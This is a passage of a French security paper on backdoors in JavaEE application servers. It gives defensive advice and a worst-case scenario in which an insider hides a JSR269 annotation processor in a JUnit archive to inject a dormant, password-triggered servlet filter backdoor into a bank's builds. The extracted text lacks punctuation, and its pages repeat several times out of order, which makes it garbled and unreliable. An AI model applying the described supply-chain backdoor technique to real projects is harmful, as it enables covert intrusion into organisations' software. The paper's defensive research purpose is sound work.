La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
